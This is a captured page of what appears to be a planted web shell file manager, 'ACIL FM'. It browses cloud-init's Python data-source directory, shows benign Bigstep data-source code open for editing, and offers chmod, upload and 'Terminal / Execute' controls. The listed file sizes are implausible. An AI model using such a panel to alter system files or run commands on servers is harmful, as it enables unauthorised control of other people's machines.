ACIL FM
Dark
Refresh
Current DIR:
/lib/python3.9/site-packages/cloudinit/sources
/
lib
python3.9
site-packages
cloudinit
sources
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
azure
-
chmod
Open
Rename
Delete
helpers
-
chmod
Open
Rename
Delete
__pycache__
-
chmod
Open
Rename
Delete
DataSourceAkamai.py
12.66 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceAliYun.py
15.21 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceAltCloud.py
8.42 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceAzure.py
75.51 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceBigstep.py
1.9 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceCloudCIX.py
5.19 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceCloudSigma.py
3.86 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceCloudStack.py
11.21 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceConfigDrive.py
11.23 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceDigitalOcean.py
4.2 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceEc2.py
41.76 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceExoscale.py
8.55 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceGCE.py
13.33 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceHetzner.py
5.39 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceIBMCloud.py
14.65 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceLXD.py
17.2 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceMAAS.py
14.85 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceNoCloud.py
15.98 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceNone.py
1.27 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceNWCS.py
4.41 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceOpenNebula.py
15.67 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceOpenStack.py
10.1 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceOracle.py
21.07 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceOVF.py
12.7 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceRbxCloud.py
7.88 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceScaleway.py
14.73 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceSmartOS.py
34.26 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceUpCloud.py
5.2 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceVMware.py
35.31 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceVultr.py
4.51 MB
chmod
View
DL
Edit
Rename
Delete
DataSourceWSL.py
14.37 MB
chmod
View
DL
Edit
Rename
Delete
__init__.py
43.63 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /lib/python3.9/site-packages/cloudinit/sources/DataSourceBigstep.py
# Copyright (C) 2015-2016 Bigstep Cloud Ltd. # # Author: Alexandru Sirbu <alexandru.sirbu@bigstep.com> # # This file is part of cloud-init. See LICENSE file for license information. import errno import json import os from cloudinit import sources, url_helper, util class DataSourceBigstep(sources.DataSource): dsname = "Bigstep" def __init__(self, sys_cfg, distro, paths): super().__init__(sys_cfg, distro, paths) self.metadata = {} self.vendordata_raw = "" self.userdata_raw = "" def _get_data(self, apply_filter=False) -> bool: url = self._get_url_from_file() if url is None: return False response = url_helper.readurl(url) decoded = json.loads(response.contents.decode()) self.metadata = decoded["metadata"] self.vendordata_raw = decoded["vendordata_raw"] self.userdata_raw = decoded["userdata_raw"] return True def _get_subplatform(self) -> str: """Return the subplatform metadata source details.""" return f"metadata ({self._get_url_from_file()})" def _get_url_from_file(self): url_file = os.path.join( self.paths.cloud_dir, "data", "seed", "bigstep", "url" ) try: content = util.load_text_file(url_file) except IOError as e: # If the file doesn't exist, then the server probably isn't a # Bigstep instance; otherwise, another problem exists which needs # investigation if e.errno == errno.ENOENT: return None else: raise return content # Used to match classes to dependencies datasources = [ (DataSourceBigstep, (sources.DEP_FILESYSTEM, sources.DEP_NETWORK)), ] # Return a list of data sources that match this set of dependencies def get_datasource_list(depends): return sources.list_from_depends(depends, datasources)
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply